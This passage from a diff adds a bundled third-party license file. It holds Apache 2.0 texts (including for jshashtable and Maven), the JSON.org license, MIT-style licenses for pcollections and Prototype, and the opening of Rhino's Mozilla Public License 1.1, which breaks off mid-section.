+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+--------------------------------------------------------------------------------
+jshashtable_license.txt:
+/**
+ * Copyright 2010 Tim Down.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+--------------------------------------------------------------------------------
+json_LICENSE.txt:
+JSON
+
+Copyright (c) 2002 JSON.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy 
+of this software and associated documentation files (the "Software"), to deal 
+in the Software without restriction, including without limitation the rights 
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 
+copies of the Software, and to permit persons to whom the Software is 
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in 
+all copies or substantial portions of the Software.
+
+The Software shall be used for Good, not Evil.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 
+SOFTWARE. 
+
+--------------------------------------------------------------------------------
+maven_LICENSE.txt:
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+--------------------------------------------------------------------------------
+pcollections_LICENSE.txt:
+Copyright (c) 2008 Harold Cooper
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+--------------------------------------------------------------------------------
+prototype_license.txt:
+Copyright (c) 2005-2010 Sam Stephenson
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+--------------------------------------------------------------------------------
+rhino_LICENSE.txt:
+The majority of Rhino is MPL 1.1 / GPL 2.0 dual licensed:
+
+The Mozilla Public License (http://www.mozilla.org/MPL/MPL-1.1.txt):
+============================================================================
+			    MOZILLA PUBLIC LICENSE
+				  Version 1.1
+
+				---------------
+
+  1. Definitions.
+
+       1.0.1. "Commercial Use" means distribution or otherwise making the
+       Covered Code available to a third party.
+
+       1.1. "Contributor" means each entity that creates or contributes to
+       the creation of Modifications.
+
+       1.2. "Contributor Version" means the combination of the Original
+       Code, prior Modifications used by a Contributor, and the Modifications
+       made by that particular Contributor.
+
+       1.3. "Covered Code" means the Original Code or Modifications or the
+       combination of the Original Code and Modifications, in each case
+       including portions thereof.
+
+       1.4. "Electronic Distribution Mechanism" means a mechanism generally
+       accepted in the software development community for the electronic
+       transfer of data.
+
+       1.5. "Executable" means Covered Code in any form other than Source
+       Code.
+
+       1.6. "Initial Developer" means the individual or entity identified
+       as the Initial Developer in the Source Code notice required by Exhibit
+       A.
+
+       1.7. "Larger Work" means a work which combines Covered Code or
+       portions thereof with code not governed by the terms of this License.
+
+       1.8. "License" means this document.
+
+       1.8.1. "Licensable" means having the right to grant, to the maximum
+       extent possible, whether at the time of the initial grant or
+       subsequently acquired, any and all of the rights conveyed herein.
+
+       1.9. "Modifications" means any addition to or deletion from the
+       substance or structure of either the Original Code or any previous
+       Modifications. When Covered Code is released as a series of files, a
+       Modification is:
+	    A. Any addition to or deletion from the contents of a file
+	    containing Original Code or previous Modifications.
+
+	    B. Any new file that contains any part of the Original Code or
+	    previous Modifications.
+
+       1.10. "Original Code" means Source Code of computer software code
+       which is described in the Source Code notice required by Exhibit A as
+       Original Code, and which, at the time of its release under this
+       License is not already Covered Code governed by this License.
+
+       1.10.1. "Patent Claims" means any patent claim(s), now owned or
+       hereafter acquired, including without limitation,  method, process,
+       and apparatus claims, in any patent Licensable by grantor.
+
+       1.11. "Source Code" means the preferred form of the Covered Code for
+       making modifications to it, including all modules it contains, plus
+       any associated interface definition files, scripts used to control
+       compilation and installation of an Executable, or source code
+       differential comparisons against either the Original Code or another
+       well known, available Covered Code of the Contributor's choice. The
+       Source Code can be in a compressed or archival form, provided the
+       appropriate decompression or de-archiving software is widely available
+       for no charge.
+
+       1.12. "You" (or "Your")  means an individual or a legal entity
+       exercising rights under, and complying with all of the terms of, this
+       License or a future version of this License issued under Section 6.1.
+       For legal entities, "You" includes any entity which controls, is
+       controlled by, or is under common control with You. For purposes of
+       this definition, "control" means (a) the power, direct or indirect,
+       to cause the direction or management of such entity, whether by
+       contract or otherwise, or (b) ownership of more than fifty percent
+       (50%) of the outstanding shares or beneficial ownership of such
+       entity.
+
+  2. Source Code License.
+
+       2.1. The Initial Developer Grant.
+       The Initial Developer hereby grants You a world-wide, royalty-free,
+       non-exclusive license, subject to third party intellectual property
+       claims:
+	    (a)  under intellectual property rights (other than patent or
+	    trademark) Licensable by Initial Developer to use, reproduce,
+	    modify, display, perform, sublicense and distribute the Original
+	    Code (or portions thereof) with or without Modifications, and/or
+	    as part of a Larger Work; and
+
+	    (b) under Patents Claims infringed by the making, using or
+	    selling of Original Code, to make, have made, use, practice,
+	    sell, and offer for sale, and/or otherwise dispose of the
+	    Original Code (or portions thereof).
+
+	    (c) the licenses granted in this Section 2.1(a) and (b) are
+	    effective on the date Initial Developer first distributes
+	    Original Code under the terms of this License.
+
+	    (d) Notwithstanding Section 2.1(b) above, no patent license is
+	    granted: 1) for code that You delete from the Original Code; 2)
+	    separate from the Original Code;  or 3) for infringements caused
+	    by: i) the modification of the Original Code or ii) the
+	    combination of the Original Code with other software or devices.
+
+       2.2. Contributor Grant.
+       Subject to third party intellectual property claims, each Contributor
+       hereby grants You a world-wide, royalty-free, non-exclusive license
+
+	    (a)  under intellectual property rights (other than patent or
+	    trademark) Licensable by Contributor, to use, reproduce, modify,
+	    display, perform, sublicense and distribute the Modifications
+	    created by such Contributor (or portions thereof) either on an
+	    unmodified basis, with other Modifications, as Covered Code
+	    and/or as part of a Larger Work; and
+
+	    (b) under Patent Claims infringed by the making, using, or
+	    selling of  Modifications made by that Contributor either alone
+	    and/or in combination with its Contributor Version (or portions
+	    of such combination), to make, use, sell, offer for sale, have
+	    made, and/or otherwise dispose of: 1) Modifications made by that
+	    Contributor (or portions thereof); and 2) the combination of
+	    Modifications made by that Contributor with its Contributor
+	    Version (or portions of such combination).
+
+	    (c) the licenses granted in Sections 2.2(a) and 2.2(b) are
+	    effective on the date Contributor first makes Commercial Use of
+	    the Covered Code.
+
+	    (d)    Notwithstanding Section 2.2(b) above, no patent license is
+	    granted: 1) for any code that Contributor has deleted from the
+	    Contributor Version; 2)  separate from the Contributor Version;
+	    3)  for infringements caused by: i) third party modifications of
+	    Contributor Version or ii)  the combination of Modifications made
+	    by that Contributor with other software  (except as part of the
+	    Contributor Version) or other devices; or 4) under Patent Claims
+	    infringed by Covered Code in the absence of Modifications made by
+	    that Contributor.
+
+  3. Distribution Obligations.
+
+       3.1. Application of License.
+       The Modifications which You create or to which You contribute are
+       governed by the terms of this License, including without limitation
+       Section 2.2. The Source Code version of Covered Code may be
+       distributed only under the terms of this License or a future version
+       of this License released under Section 6.1, and You must include a
+       copy of this License with every copy of the Source Code You
+       distribute. You may not offer or impose any terms on any Source Code
+       version that alters or restricts the applicable version of this
+       License or the recipients' rights hereunder. However, You may include
+       an additional document offering the additional rights described in
+       Section 3.5.
+
+       3.2. Availability of Source Code.
+       Any Modification which You create or to which You contribute must be
+       made available in Source Code form under the terms of this License
+       either on the same media as an Executable version or via an accepted
+       Electronic Distribution Mechanism to anyone to whom you made an
+       Executable version available; and if made available via Electronic
+       Distribution Mechanism, must remain available for at least twelve (12)
+       months after the date it initially became available, or at least six
+       (6) months after a subsequent version of that particular Modification
+       has been made available to such recipients. You are responsible for
+       ensuring that the Source Code version remains available even if the
+       Electronic Distribution Mechanism is maintained by a third party.
+
+       3.3. Description of Modifications.
+       You must cause all Covered Code to which You contribute to contain a
+       file documenting the changes You made to create that Covered Code and
+       the date of any change. You must include a prominent statement that
+       the Modification is derived, directly or indirectly, from Original
+       Code provided by the Initial Developer and including the name of the
+       Initial Developer in (a) the Source Code, and (b) in any notice in an
+       Executable version or related documentation in which You describe the
+       origin or ownership of the Covered Code.
+
+       3.4. Intellectual Property Matters
+	    (a) Third Party Claims.
+	    If Contributor has knowledge that a license under a third party's
+	    intellectual property rights is required to exercise the rights
+	    granted by such Contributor under Sections 2.1 or 2.2,
+	    Contributor must include a text file with the Source Code
+	    distribution titled "LEGAL" which describes the claim and the
+	    party making the claim in sufficient detail that a recipient will
+	    know whom to contact. If Contributor obtains such knowledge after
+	    the Modification is made available as described in Section 3.2,
+	    Contributor shall promptly modify the LEGAL file in all copies
+	    Contributor makes available thereafter and shall take other steps
+	    (such as notifying appropriate mailing lists or newsgroups)
+	    reasonably calculated to inform those who received the Covered
+	    Code that new knowledge has been obtained.
+
+	    (b) Contributor APIs.
+	    If Contributor's Modifications include an application programming
+	    interface and Contributor has knowledge of patent licenses which
+	    are reasonably necessary to implement that API, Contributor must
+	    also include this information in the LEGAL file.
+
+		 (c)    Representations.
+	    Contributor represents that, except as disclosed pursuant to
+	    Section 3.4(a) above, Contributor believes that Contributor's
+	    Modifications are Contributor's original creation(s) and/or
+	    Contributor has sufficient rights to grant the rights conveyed by
+	    this License.
+
+       3.5. Required Notices.
+       You must duplicate the notice in Exhibit A in each file of the Source
+       Code.  If it is not possible to put such notice in a particular Source
+       Code file due to its structure, then You must include such notice in a
+       location (such as a relevant directory) where a user would be likely
+       to look for such a notice.  If You created one or more Modification(s)
+       You may add your name as a Contributor to the notice described in
+       Exhibit A.  You must also duplicate this License in any documentation
+       for the Source Code where You describe recipients' rights or ownership
+       rights relating to Covered Code.  You may choose to offer, and to
+       charge a fee for, warranty, support, indemnity or liability
+       obligations to one or more recipients of Covered Code. However, You
+       may do so only on Your own behalf, and not on behalf of the Initial
+       Developer or any Contributor. You must make it absolutely clear than
+       any such warranty, support, indemnity or liability obligation is
+       offered by You alone, and You hereby agree to indemnify the Initial
+       Developer and every Contributor for any liability incurred by the
+       Initial Developer or such Contributor as a result of warranty,
+       support, indemnity or liability terms You offer.
+
+       3.6. Distribution of Executable Versions.
+       You may distribute Covered Code in Executable form only if the
+       requirements of Section 3.1-3.5 have been met for that Covered Code,
+       and if You include a notice stating that the Source Code version of
+       the Covered Code is available under the terms of this License,
+       including a description of how and where You have fulfilled the
+       obligations of Section 3.2. The notice must be conspicuously included
+       in any notice in an Executable version, related documentation or
+       collateral in which You describe recipients' rights relating to the
+       Covered Code. You may distribute the Executable version of Covered
+       Code or ownership rights under a license of Your choice, which may
+       contain terms different from this License, provided that You are in
+       compliance with the terms of this License and that the license for the
+       Executable version does not attempt to limit or alter the recipient's
+       rights in the Source Code version from the rights set forth in this
+       License. If You distribute the Executable version under a different
+       license You must make it absolutely clear that any terms which differ
+       from this License are offered by You alone, not by the Initial
+       Developer or any Contributor. You hereby agree to indemnify the
+       Initial Developer and every Contributor for any liability incurred by
+       the Initial Developer or such Contributor as a result of any such
+       terms You offer.
+
+       3.7. Larger Works.
+       You may create a Larger Work by combining Covered Code with other code
+       not governed by the terms of this License and distribute the Larger
+       Work as a single product. In such a case, You must make sure the
+       requirements of this License are fulfilled for the Covered Code.
+
+  4. Inability to Comply Due to Statute or Regulation.
+
+       If it is impossible for You to comply with any of the terms of this
+       License with respect to some or all of the Covered Code due to
+       statute, judicial order, or regulation then You must: (a) comply with
+       the terms of this License to the maximum extent possible; and (b)
+       describe the limitations and the code they affect. Such description
+       must be included in the LEGAL file described in Section 3.4 and must
+       be included with all distributions of the Source Code. Except to the
+       extent prohibited by statute or regulation, such description must be
+       sufficiently detailed for a recipient of ordinary skill to be able to
+       understand it.
+
+  5. Application of this License.
+
+       This License applies to code to which the Initial Developer has
+       attached the notice in Exhibit A and to related Covered Code.
+
+  6. Versions of the License.
+
+       6.1. New Versions.
+       Netscape Communications Corporation ("Netscape") may publish revised
+       and/or new versions of the License from time to time. Each version
+       will be given a distinguishing version number.
+
+       6.2. Effect of New Versions.
+       Once Covered Code has been published under a particular version of the
+       License, You may always continue to use it under the terms of that
+       version. You may also choose to use such Covered Code under the terms
+       of any subsequent version of the License published by Netscape. No one
+       other than Netscape has the right to modify the terms applicable to
+       Covered Code created under this License.
+
+       6.3. Derivative Works.
+       If You create or use a modified version of this License (which you may
+       only do in order to apply it to code which is not already Covered Code
+       governed by this License), You must (a) rename Your license so that
+       the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape",
+       "MPL", "NPL" or any confusingly similar phrase do not appear in your
+       license (except to note that your license differs from this License)
+       and (b) otherwise make it clear that Your version of the license
+       contains terms which differ from the Mozilla Public License and
+       Netscape Public License. (Filling in the name of the Initial
+       Developer, Original Code or Contributor in the notice described in
+       Exhibit A shall not of themselves be deemed to be modifications of
+       this License.)
+
+  7. DISCLAIMER OF WARRANTY.
+
+       COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS,
+       WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+       WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF
+       DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING.
+       THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE
+       IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT,
+       YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE
+       COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER
+       OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF
+       ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+  8. TERMINATION.
+
+       8.1.  This License and the rights granted hereunder will terminate
+       automatically if You fail to comply with terms herein and fail to cure
+       such breach within 30 days of becoming aware of the breach. All
+       sublicenses to the Covered Code which are properly granted shall
+       survive any termination of this License. Provisions which, by their
+       nature, must remain in effect beyond the termination of this License
+       shall survive.
+
+       8.2.  If You initiate litigation by asserting a patent infringement
+       claim (excluding declatory judgment actions) against Initial Developer
+       or a Contributor (the Initial Developer or Contributor against whom
+       You file such action is referred to as "Participant")  alleging that:
+
+       (a)  such Participant's Contributor Version directly or indirectly
+       infringes any patent, then any and all rights granted by such
+       Participant to You under Sections 2.1 and/or 2.2 of this License
+       shall, upon 60 days notice from Participant terminate prospectively,
+       unless if within 60 days after receipt of notice You either: (i)
+       agree in writing to pay Participant a mutually agreeable reasonable
+       royalty for Your past and future use of Modifications made by such
+       Participant, or (ii) withdraw Your litigation claim with respect to
+       the Contributor Version against such Participant.  If within 60 days
+       of notice, a reasonable royalty and payment arrangement are not
+       mutually agreed upon in writing by the parties or the litigation claim
+       is not withdrawn, the rights granted by Participant to You under
+       Sections 2.1 and/or 2.2 automatically terminate at the expiration of
+       the 60 day notice period specified above.
+
+       (b)  any software, hardware, or device, other than such Participant's
+       Contributor Version, directly or indirectly infringes any patent, then
+       any rights granted to You by such Participant under Sections 2.1(b)
+       and 2.2(b) are revoked effective as of the date You first made, used,
+       sold, distributed, or had made, Modifications made by that
+       Participant.
+
+       8.3.  If You assert a patent infringement claim against Participant
+       alleging that such Participant's Contributor Version directly or
+       indirectly infringes any patent where such claim is resolved (such as
+       by license or settlement) prior to the initiation of patent
+       infringement litigation, then the reasonable value of the licenses
+       granted by such Participant under Sections 2.1 or 2.2 shall be taken
+       into account in determining the amount or value of any payment or
+       license.
+
+       8.4.  In the event of termination under Sections 8.1 or 8.2 above,
+       all end user license agreements (excluding distributors and resellers)
+       which have been validly granted by You or any distributor hereunder
+       prior to termination shall survive termination.
+
+  9. LIMITATION OF LIABILITY.
+
+       UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT
+       (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL
+       DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE,
+       OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR
+       ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY
